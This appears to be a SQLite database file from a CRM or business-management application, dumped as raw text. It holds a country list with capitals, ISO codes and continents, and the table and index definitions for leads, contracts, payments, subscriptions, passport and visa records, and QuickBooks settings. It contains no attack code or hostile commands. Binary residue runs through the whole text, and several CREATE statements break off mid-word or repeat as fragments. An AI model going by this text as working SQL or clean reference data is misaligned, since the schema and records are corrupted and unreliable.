AmericaChile1N'DjamenatdAfricaChad0  +eaCeuta & Melilla0/  WceftaCentral European Free Trade Agreement,.=BanguicfAfricaCentral African Republic.-#')George TownkyNorth AmericaCayman Islands,  es-ctCatalonia+  )icCanary Islands!*'OttawacaNorth AmericaCanada)YaoundécmAfricaCameroon(!Phnom PenhkhAsiaCambodia'!PraiacvAfricaCabo Verde&BujumburabiAfricaBurundi%%#%OuagadougoubfAfricaBurkina Faso$SofiabgEuropeBulgaria0#3/Bandar Seri BegawanbnAsiaBrunei Darussalam6"%IDiego GarciaioAsiaBritish Indian Ocean Territory$!'BrasíliabrSouth AmericaBrazil   'bvBouvet IslandGaboronebwAfricaBotswana,9SarajevobaEuropeBosnia and Herzegovina?!'MKralendijkbqSouth AmericaBonaire, Sint Eustatius and Saba!'SucreboSouth AmericaBoliviaThimphubtAsiaBhutan$'HamiltonbmNorth AmericaBermuda!Porto-NovobjAfricaBenin#'BelmopanbzNorth AmericaBelizeBrusselsbeEuropeBelgiumMinskbyEuropeBelarus'!'BridgetownbbNorth AmericaBarbados!DhakabdAsiaBangladeshManamabhAsiaBahrain"'NassaubsNorth AmericaBahamas!BakuazAsiaAzerbaijanViennaatEuropeAustria CanberraauOceaniaAustralia(!-GeorgetownacAfricaAscension Island$ !'OranjestadawSouth AmericaAruba YerevanamAsiaArmenia* %'Buenos AiresarSouth AmericaArgentina2 !'3St. John'sagNorth AmericaAntigua and Barbuda   !aqAntarctica'!'The ValleyaiNorth AmericaAnguillaLuandaaoAfricaAngola%-Andorra la VellaadEuropeAndorra&)Pago PagoasOceaniaAmerican SamoaAlgiersdzAfricaAlgeriaTiranaalEuropeAlbania$'MariehamnaxEuropeAland Islands#KabulafAsiaAfghanistan msS7sM5 { [ ;   j I   f H ] ;  } \ = iA%|P U, bJi#YaD%jH YMogadishusoAfricaSomalia%X+HoniarasbOceaniaSolomon IslandsWLjubljanasiEuropeSlovenia V!BratislavaskEuropeSlovakia,U#'%PhilipsburgsxNorth AmericaSint MaartenTSingaporesgAsiaSingapore"S%FreetownslAfricaSierra Leone R!VictoriascAfricaSeychellesQBelgradersEuropeSerbiaPDakarsnAfricaSenegal#OEdinburghgb-sctEuropeScotlandN%RiyadhsaAsiaSaudi Arabia-M!7São ToméstAfricaSao Tome and Principe"L!!San MarinosmEuropeSan MarinoKApiawsOceaniaSamoa>J'MKingstownvcNorth AmericaSaint Vincent and the Grenadines:I%'?Saint-PierrepmNorth AmericaSaint Pierre and Miquelon(H'%MarigotmfNorth AmericaSaint Martin(G'#CastrieslcNorth AmericaSaint Lucia4F!'7BasseterreknNorth AmericaSaint Kitts and NevisCEeJamestownshAfricaSaint Helena, Ascension and Tristan da Cunha.D'/GustaviablNorth AmericaSaint Barthélemy!C#Saint-DenisreAfricaRéunionBKigalirwAfricaRwandaAMoscowruEuropeRussia@BucharestroEuropeRomania.?#7BrazzavillecgAfricaRepublic of the Congo>DohaqaAsiaQatar(='#San JuanprNorth AmericaPuerto Rico<LisbonptEuropePortugal;WarsawplEuropePoland :AdamstownpnOceaniaPitcairn9#ManilaphAsiaPhilippines8'LimapeSouth AmericaPeru&7'AsunciónpySouth AmericaParaguay+6%-Port MoresbypgOceaniaPapua New Guinea&5#'Panama CitypaNorth AmericaPanama4NgerulmudpwOceaniaPalau3IslamabadpkAsiaPakistan2MuscatomAsiaOman1OslonoEuropeNorway-0=SaipanmpOceaniaNorthern Mariana Islands)/-Belfastgb-nirEuropeNorthern Ireland#.+SkopjemkEuropeNorth Macedonia -#PyongyangkpAsiaNorth Korea%,)KingstonnfOceaniaNorfolk Island+AlofinuOceaniaNiue*AbujangAfricaNigeria)NiameyneAfricaNiger%('ManaguaniNorth AmericaNicaragua$'!#WellingtonnzOceaniaNew Zealand#&'NouméancOceaniaNew Caledonia"%#AmsterdamnlEuropeNetherlands$KathmandunpAsiaNepal"#)Yaren DistrictnrOceaniaNauru"WindhoeknaAfricaNamibia!NaypyidawmmAsiaMyanmar !MaputomzAfricaMozambiqueRabatmaAfricaMorocco;E'!Little Bay, Brades, PlymouthmsNorth AmericaMontserrat!!PodgoricameEuropeMontenegro#UlaanbaatarmnAsiaMongoliaMonacomcEuropeMonaco!ChișinăumdEuropeMoldova&#'Mexico CitymxNorth AmericaMexicoMamoudzouytAfricaMayotte!!Port LouismuAfricaMauritius"!!NouakchottmrAfricaMauritania-)'!Fort-de-FrancemqNorth AmericaMartinique%-MajuromhOceaniaMarshall IslandsVallettamtEuropeMaltaBamakomlAfricaMaliMalémvAsiaMaldives %Kuala LumpurmyAsiaMalaysiaLilongwemwAfricaMalawi$%!AntananarivomgAfricaMadagascar MacaumoAsiaMacau' +!Luxembourg CityluEuropeLuxembourg VilniusltEuropeLithuania 'VaduzliEuropeLiechtenstein TripolilyAfricaLibyaMonrovialrAfricaLiberiaMaserulsAfricaLesothoBeirutlbAsiaLebanonRigalvEuropeLatviaVientianelaAsiaLaos!BishkekkgAsiaKyrgyzstan#Kuwait CitykwAsiaKuwaitPristinaxkEuropeKosovo#%South TarawakiOceaniaKiribatiNairobikeAfricaKenya~!AstanakzAsiaKazakhstan}AmmanjoAsiaJordan |%Saint HelierjeEuropeJersey{TokyojpAsiaJapan$z'KingstonjmNorth AmericaJamaicayRomeitEuropeItalyxJerusalemilAsiaIsrael w#DouglasimEuropeIsle of ManvDublinieEuropeIrelanduBaghdadiqAsiaIraqtTehranirAsiaIransJakartaidAsiaIndonesiarNew DelhiinAsiaIndiaqReykjavikisEuropeIcelandpBudapesthuEuropeHungaryoHong KonghkAsiaHong Kong(n#'TegucigalpahnNorth AmericaHonduras"m%Vatican CityvaEuropeHoly See 1jJ.P0 { ] C  f C  [ B { Z 8   ^ 3  HararezwAfricaZimbabwe LusakazmAfricaZambiaSana'ayeAsiaYemen$)LaayouneehAfricaWestern Sahara(/Mata-UtuwfOceaniaWallis and FutunaCardiffgb-wlsEuropeWales:-'7Charlotte AmalieviNorth AmericaVirgin Islands (U.S.)6'=Road TownvgNorth AmericaVirgin Islands (British)HanoivnAsiaVietnam%'CaracasveSouth AmericaVenezuelaPort VilavuOceaniaVanuatu!TashkentuzAsiaUzbekistan&~!'MontevideouySouth AmericaUruguay}  xxUnknown=|-'=Washington, D.C.usNorth AmericaUnited States of AmericaI{-'UWashington, D.C.umNorth AmericaUnited States Minor Outlying Islandsz  )unUnited Nations"y)LondongbEuropeUnited Kingdom)x5Abu DhabiaeAsiaUnited Arab EmirateswKievuaEuropeUkrainevKampalaugAfricaUgandauFunafutitvOceaniaTuvalu:t''=Cockburn TowntcNorth AmericaTurks and Caicos Islands s%AshgabattmAsiaTurkmenistanrAnkaratrAsiaTurkeyqTunistnAfricaTunisiap  -taTristan da Cunha5o''3Port of SpainttSouth AmericaTrinidad and Tobagon#NukuʻalofatoOceaniaTonga-m;Nukunonu, Atafu,TokelautkOceaniaTokelaulLométgAfricaTogok#DilitlAsiaTimor-LestejBangkokthAsiaThailandiDodomatzAfricaTanzaniah!DushanbetjAsiaTajikistangTaipeitwAsiaTaiwanfDamascussyAsiaSyriae#BernchEuropeSwitzerlanddStockholmseEuropeSweden0c%9LongyearbyensjEuropeSvalbard and Jan Mayen'b!'ParamaribosrSouth AmericaSurinameaKhartoumsdAfricaSudan&`1RamallahpsAsiaState of Palestine7_QSri Jayawardenepura Kotte, ColombolkAsiaSri Lanka^MadridesEuropeSpain]#JubassAfricaSouth Sudan\#SeoulkrAsiaSouth KoreaO[/!eKing Edward PointgsAntarcticaSouth Georgia and the South Sandwich Islands"Z%PretoriazaAfricaSouth Africa        IIHGFECli##Qtableorder_cartsorder_cartsCREATE TABLE "order_carts" ("id" integer primary key autoincrement not null, "product_id" integer not null, "client_id" integer, "item_name" varchar not null, "description" text, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" float not null, "unit_price" float not null, "amount" float not null, "taxes" varchar, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, foreign key("product_id") references "products"("id") on delete CASCADE on update CASCADE, foreign key("client_id") references "users"("id") on delete CASCADE on update CASCADE)eS-;indexpassport_details_country_id_foreignpassport_detailsCREATE INDEX "passport_details_country_id_foreign" on "passport_details" ("country_id")Qd--Stablepassport_detailspassport_detailsCREATE TABLE "passport_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer, "country_id" integer, "added_by" integer, "passport_number" varchar not null, "issue_date" date not null, "expiry_date" date not null, "file" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("country_id") references "countries"("id") on delete CASCADE on update CASCADE, foreign key("added_by") references "users"("id") on delete SET NULL on update cascade)c55%tablequick_books_settingsquick_books_settingsCREATE TABLE "quick_books_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "sandbox_client_id" varchar not null, "sandbox_client_secret" varchar not null, "client_id" varchar not null, "client_secret" varchar not null, "access_token" varchar not null, "refresh_token" varchar not null, "realmid" varchar not null, "sync_type" varchar check ("sync_type" in ('one_way', 'two_way')) not null default 'one_way', "environment" varchar check ("environment" in ('Development', 'Production')) not null default 'Production', "status" tinyint(1) not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade) bM'/indexlead_products_product_id_foreignlead_productsCREATE INDEX "lead_products_product_id_foreign" on "lead_products" ("product_id")aG'#indexlead_products_lead_id_foreignlead_productsCREATE INDEX "lead_products_lead_id_foreign" on "lead_products" ("lead_id") ;G##indexorder_carts_clr]Cindexcontracts_client_id_foreigncontractsICREATE INDEX contracts_client_id_foreign ON contracts (client_id)`''[tablelead_productslead_productsCREATE TABLE "lead_products" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "product_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE, foreign key("product_id") references "products"("id") on delete CASCADE on update CASCADE)%%Ctablevisa_detailsvisa_detailsCREATE TABLE "visa_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer, "country_id" integer, "added_by" integer, "visa_number" varchar not null, "issue_date" date not nulV_!!utableunit_typesunit_typesCREATE TABLE "unit_types" ("id" integer primary key autoincrement not null, "company_id" integer, "unit_type" varchar not null, "default" tinyint(1) not null default '0', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)d^3indexIDX_950A973979B1AD6contractsCREATE INDEX IDX_950A973979B1AD6 ON contracts (company_id)     N;  7 U L2"=S1Kindexsubscription_items_stripe_id_uniquesubscription_itemsCREATE UNIQUE INDEX "subscription_items_stripe_id_unique" on "subscription_items" ("stripe_id")e77indexusers_stripe_id_indexusersCREATE INDEX "users_stripe_id_index" on "users" ("stripe_id")'611wtabletask_comment_emojitask_comment_emojiCREATE TABLE "task_comment_emoji" ("id" integer primary key autoincrement not null, "user_id" integer, "comment_id" integer, "emoji_name" varchar, "created_at" datetime, "updated_at" datetime, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("comment_id") references "task_comments"("id") on delete cascade on update cascade)W77indexemployee_leave_quotas_user_id_foreignemployee_leave_quotasCREATE INDEX employee_leave_quotas_user_id_foreign ON employee_leave_quotas (user_id)/4c7Oindexemployee_leave_quotas_leave_type_id_foreignemployee_leave_quotasCREATE INDEX employee_leave_quotas_leave_type_id_foreign ON employee_leave_quotas (leave_type_id)$377etableemployee_leave_quotasemployee_leave_quotasCREATE TABLE employee_leave_quotas (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user_id INTEGER NOT NULL, leave_type_id INTEGER NOT NULL, no_of_leaves DOUBLE PRECISION NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (leave_type_id) REFERENCES leave_types (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)2S#;indexleave_files_last_updated_by_foreignleave_filesCREATE INDEX "leave_files_last_updated_by_foreign" on "leave_files" ("last_updated_by")~1E#indexleave_files_added_by_foreignleave_filesCREATE INDEX "leave_files_added_by_foreign" on "leave_files" ("added_by")~0E#yA51indexIDX_5A7C8E4838248176proposal_templatesCREATE INDEX IDX_5A7C8E4838248176 ON proposal_templates (currency_id)11 indexIDX_5A7C8E4855458Dproposal_templatesCREATE INDEX IDX_5A7C8E4855458D ON proposal_templates (lead_id){51indexIDX_5A7C8E48979B1AD6proposal_templatesCREATE INDEX IDX_5A7C8E48979B1AD6 ON proposal_templates (company_id)^<y1indexsubscription_items_subscription_id_stripe_price_uniquesubscription_itemsCREATE UNIQUE INDEX "subscription_items_subscription_id_stripe_price_unique" on "subscription_items" ("subscription_id", "stripe_price")M;11Ctablesubscription_itemssubscription_itemsCREATE TABLE "subscription_items" ("id" integer primary key autoincrement not null, "subscription_id" integer not null, "stripe_id" varchar not null, "stripe_product" varchar not null, "stripe_price" varchar not null, "quantity" integer, "created_at" datetime, "updated_at" datetime):I'7indexsubscriptions_stripe_id_uniquesubscriptionsCREATE UNIQUE INDEX "subscriptions_stripe_id_unique" on "subscriptions" ("stripe_id"),9_']indexsubscriptions_user_id_stripe_status_indexsubscriptionsCREATE INDEX "subscriptions_user_id_stripe_status_index" on "subscriptions" ("user_id", "stripe_status")28''!tablesubscriptionssubscriptionsCREATE TABLE "subscriptions" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer, "name" varchar not null, "stripe_id" varchar not null, "stripe_status" varchar not null, "stripe_price" varchar, "quantity" integer, "trial_ends_at" datetime, "ends_at" datetime, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete SET NULL on update cascade)   a 77777777dQtablepaymentspaymentsCREATE TABLE "payments" ("id" integer primaryI''indextask_category_added_by_foreigntask_categoryCREATE INDEX "task_category_added_by_foreign" on "task_category" ("added_by")~''utabletask_categorytask_categoryCREATE TABLE "task_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE),xa+Windexpermission_role_permission_type_id_foreignpermission_roleCREATE INDEX "permission_role_permission_type_id_foreign" on "permission_role" ("permission_type_id") wK++indexpermission_role_role_id_foreignpermission_roleCREATE INDEX "permission_role_role_id_foreign" on "permission_role" ("role_id")>vQ+indexsqlite_autoindex_permission_role_1permission_roleu++Ctablepermission_rolepermission_roleCREATE TABLE "permission_role" ("permission_id" integer not null, "role_id" integer not null, "permission_type_id" integer not null default '5', foreign key("permission_id") references "permissions"("id") on delete CASCADE on update CASCADE, foreign key("permission_type_id") references "permission_types"("id") on delete CASCADE on update CASCADE, foreign key("role_id") references "roles"("id") on delete CASCADE on update CASCADE, primary key ("permission_id", "role_id"))&q##tablepermissionspermissionsCREATE TABLE "permissions" ("id" integer primary key autoincrement not null, "name" varchar not null, "display_name" varchar, "description" varchar, "module_id" integer not null, "is_custom" tinyint(1) not null default '0', "allowed_permissions" text, "created_at" datetime, "updated_at" datetime, foreign key("module_id") references "modules"("id") on delete CASCADE on update CASCADE)M/indexpayments_last_updated_by_foreignpaymentsCREATE INDEX "payments_last_updated_by_foreign" on "payments" ("last_updated_by")?indexpayments_added_by_foreignpaymentsCREATE INDEX "payments_added_by_foreign" on "payments" ("added_by")Q7indexpayments_offline_method_id_foreignpaymentsCREATE INDEX "payments_offline_method_id_foreign" on "payments" ("offline_method_id") 9 indexpayments_paid_on_indexpaymentsCREATE INDEX "payments_paid_on_index" on "payments" ("paid_on");indexpayments_plan_id_uniquepaymentsCREATE UNIQUE INDEX "payments_plan_id_unique" on "payments" ("plan_id")%Eindexpayments_currency_id_foreignpaymentsCREATE INDEX "payments_currency_id_foreign" on "payments" ("currency_id")M/indexpayments_credit_notes_id_foreignpaymentsCREATE INDEX "payments_credit_notes_id_foreign" on "payments" ("credit_notes_id")?indexpayments_ordeFt--=tablepermission_typespermission_typesCREATE TABLE "permission_types" ("id" integer primary key autoincrement not null, "name" varchar not null, "created_at" datetime, "updated_at" datetime)sG##indexpermissions_module_id_foreignpermissionsCREATE INDEX "permissions_module_id_foreign" on "permissions" ("module_id")        uD 0  tKKKKF{)))/tablelead_follow_uplead_follow_upECREATE TABLE "lead_follow_up" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "remark" text, "next_follow_up_date" datetime, "added_by" integer, "last_updated_by" integer, "event_id" text, "send_reminder" varchar check ("send_reminder" in ('yes', 'no')) default 'no', "remind_time" text, "remind_type" varchar check ("remind_type" in ('minute', 'hour', 'day')), "created_at" datetime, "updated_at" datetime, "status" varchar, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE)(Q!7indexlead_files_last_updated_by_foreigndeal_filesDCREATE INDEX "lead_files_last_updated_by_foreign" on "deal_files" ("last_updated_by")z'C!indexlead_files_added_by_foreigndeal_filesCCREATE INDEX "lead_files_added_by_foreign" on "deal_files" ("added_by")w&A!indexlead_files_user_id_foreigndeal_filesBCREATE INDEX "lead_files_user_id_foreign" on "deal_files" ("user_id")w%A!indexlead_files_lead_id_foreigndeal_filesACREATE INDEX "lead_files_lead_id_foreign" on "deal_files" ("lead_id") !!5tabledeal_filesdeal_files@CREATE TABLE "deal_files" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "user_id" integer not null, "filename" varchar not null, "hashname" varchar not null, "size" varchar not null, "description" text, "google_url" varchar, "dropbox_link" varchar, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("lead_id") references "leads"("id") on del8++ktablelead_user_noteslead_user_notesUCREATE TABLE "lead_user_notes" ("id" integer primary key autoincrement not null, "user_id" integer not null, "lead_note_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("lead_note_id") references "lead_notes"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)6##stablelead_statuslead_statusSCREATE TABLE "lead_status" ("id" integer primary key autoincrement not null, "company_id" integer, "type" varchar not null, "priority" integer not null, "default" tinyint(1) not null, "label_color" varchar not null default '#ff0000', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)5U%?indexlead_sources_last_updated_by_foreignlead_sourcesRCREATE INDEX "lead_sources_last_updated_by_foreign" on "lead_sources" ("last_updated_by")4G%#indexlead_sources_added_by_foreignlead_sourcesQCREATE INDEX "lead_sources_added_by_foreign" on "lead_sources" ("added_by")2%%atablelead_sourceslead_sourcesOCREATE TABLE "lead_sources" ("id" integer primary key autoincrement not null, "company_id" integer, "type" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE),Y)Gindexlead_follow_up_last_updated_by_foreignlead_follow_upICREATE INDEX "lead_follow_up_last_updated_by_foreign" on "lead_follow_up" ("last_updated_by") +K)+indexlead_follow_up_added_by_foreignlead_follow_upHCREATE INDEX "lead_follow_up_added_by_foreign" on "lead_follow_up" ("added_by")*I)'indexlead_follow_up_lead_id_foreignlead_follow_upFCREATE INDEX "lead_follow_up_lead_id_foreign" on "lead_follow_up" ("lead_id") |    4DctableordersordersCREATE TABLE orders (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, company_address_id INTEGER DEFAULT NULL, order_date DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, total DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'pending' NOT NULL, show_shipping_address VARCHAR(255) DEFAULT 'no' NOT NULL, note VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, order_number INTEGER DEFAULT NULL, "unit_id" integer, "custom_order_number" varchar, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATZO'indexcontracts_last_updated_by_foreigncontractsFCREATE INDEX contracts_last_updated_by_foreign ON contracts (last_updated_by) {Gindexcontracts_currency_id_foreigncontractsECREATE INDEX contracts_currency_id_foreign ON contracts (currency_id)4S!!1tablelead_noteslead_notesJCREATE TABLE lead_notes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, lead_id INTEGER DEFAULT NULL, member_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, title VARCHAR(255) NOT NULL, type BOOLEAN DEFAULT 0 NOT NULL, is_lead_show BOOLEAN DEFAULT 0 NOT NULL, ask_password BOOLEAN DEFAULT 0 NOT NULL, details CLOB NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (lead_id) REFERENCES leads (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (member_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)GRGG tableestimate_template_item_imagesestimate_template_item_imagesCREATE TABLE "estimate_template_item_images" ("id" integer primary key autoincrement not null, "company_id" integer, "estimate_template_item_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("estimate_template_item_id") references "estimate_template_items"("id") on delete cascade on update cascade) I;;7tableestimate_template_itemsestimate_template_itemsCREATE TA WQ!+indexlead_notes_last_updated_by_foreignlead_notesNCREATE INDEX lead_notes_last_updated_by_foreign ON lead_notes (last_updated_by)tVC!indexlead_notes_added_by_foreignlead_notesMCREATE INDEX lead_notes_added_by_foreign ON lead_notes (added_by)wUE!indexlead_notes_member_id_foreignlead_notesLCREATE INDEX lead_notes_member_id_foreign ON lead_notes (member_id)qTA! indexlead_notes_lead_id_foreignlead_notesKCREATE INDEX lead_notes_lead_id_foreign ON lead_notes (lead_id);; tableestimate_template_itemsestimate_template_itemsCREATE TABLE "estimate_template_items" ("id" integer primary key autoincrement not null, "company_id" integer, "estimate_template_id" integer not null, "hsn_sac_code" varchar, "item_name" varchar not null, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" integer not null, "unit_price" float not null, "amount" float not null, "item_summary" text, "taxes" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, "product_id" integer, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("estimate_template_id") references "estimate_templates"("id") on delete cascade on update cascade)      d6 ]hdKK981;/indexIDX_88AE64CB337362estimate_template_itemsCREATE INDEX IDX_88AE64CB337362 ON estimate_template_items (estimate_template_id)73;indexIDX_88AE64C979B1AD6estimate_template_itemsCREATE INDEX IDX_88AE64C979B1AD6 ON estimate_template_items (company_id)6;;tableestimate_template_itemsestimate_template_itemsCREATE TABLE estimate_template_items (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, estimate_template_id INTEGER NOT NULL, hsn_sac_code VARCHAR(255) DEFAULT NULL, item_name VARCHAR(255) NOT NULL, type VARCHAR(255) DEFAULT 'item' NOT NULL, quantity DOUBLE PRECISION NOT NULL, unit_price DOUBLE PRECISION NOT NULL, amount DOUBLE PRECISION NOT NULL, item_summary CLOB DEFAULT NULL, taxes VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, unit_id INTEGER DEFAULT NULL, product_id INTEGER DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (estimate_template_id) REFERENCES estimate_templates (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)x551indexIDX_43AC96A2979B1AD6estimate_templatesCREATE INDEX IDX_43AC96A2979B1AD6 ON estimate_templates (company_id)y451indexIDX_43AC96A238248176estimate_templatesCREATE INDEX IDX_43AC96A238248176 ON estimate_templates (currency_id)v351indexIDX_43AC96A2699B6BAFestimate_templatesCREATE INDEX IDX_43AC96A2699B6BAF ON estimate_templates (added_by)}251indexIDX_43AC96A2FF8A180Bestimate_templatesCREATE INDEX IDX_43AC96A2FF8A180B ON estimate_templates (last_updated_by)111ctableestimate_templatesestimate_templatesCREATE TABLE estimate_templates (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, name VARCHAR(255) NOT NULL, sub_total DOUBLE PRECISION NOT NULL, total DOUBLE PRECISION NOT NULL, discount_type VARCHAR(255) NOT NULL, discount DOUBLE PRECISION NOT NULL, invoice_convert BOOLEAN DEFAULT 0 NOT NULL, status VARCHAR(255) DEFAULT 'waiting' NOT NULL, note CLOB DEFAULT NULL, description CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, client_comment CLOB DEFAULT NULL, signature_approval BOOLEAN DEFAULT 1 NOT NULL, hash CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE),0caindexestimates_estimate_number_company_id_uniqueestimatesCREATE UNIQUE INDEX estimates_estimate_number_company_id_unique ON estimates (estimate_number, company_id)/O'indexestimates_last_updated_by_foreignestimatesCREATE INDEX estimates_last_updated_by_foreign ON estimates (last_updated_by)o.A indexestimates_added_by_foreignestimatesCREATE INDEX estimates_added_by_foreign ON estimates (added_by)YGindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_id_73;indexIDX_88AE64C979B1AD6estimate_template_itemsCREATE INDEX IDX_88AE64C979B1AD6 ON estimate_template_items (company_id)x-Gindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_id_foreign ON estimates (currency_id)       7 ~aG'#indexlead_products_lead_id_foreignlead_productsCREATE INDEX "lead_products_lead_id_foreign" on "lead_products" ("lead_id")`''[tablelead_productslead_productsCREATE TABLE "lead_products" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "product_id" iwUE!indexlead_notes_member_id_foreignlead_notesLCREATE INDEX lead_notes_Qd--Stablepassport_detailspassport_detailsCREATE TABLE "passport_details" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer, "country_id" integer, "added_by" integer, "passport_number" varchar not null, "issue_date" date not null, "expiry_date" date not null, "file" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("country_id") references "countries"("id") on delete CASCADE on update CASCADE, foreign key("added_by") references "users"("id") on delete SET NULL on update cascade)$fQ+indexcontracts_contract_type_id_foreigncontractsHCREATE INDEX contracts_contract_type_id_foreign ON contracts (contract_type_id)A indexcontracts_added_by_foreigncontractsGCREATE INDEX contracts_added_by_foreign ON contracts (added_by)iO'indexcontracts_last_updated_by_foreigncontractsFCREATE INDEX contracts_last_updated_by_foreign ON contracts (last_updated_by)xYGindexcontracts_currency_id_foreigncontractsECREATE INDEX contracts_currency_id_foreign ON contracts (currency_id) LWtablecontractscontractsCCREATE TABLE contracts (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER NOT NULL, contract_type_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, subject VARCHAR(255) NOT NULL COLLATE "BINARY", ac55%tablequick_books_settingsquick_books_settingsCREATE TABLE "quick_books_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "sandbox_client_id" varchar not null, "sandbox_client_secret" varchar not null, "client_id" varchar not null, "client_secret" varchar not null, "access_token" varchar not null, "refresh_token" varchar not null, "realmid" varchar not 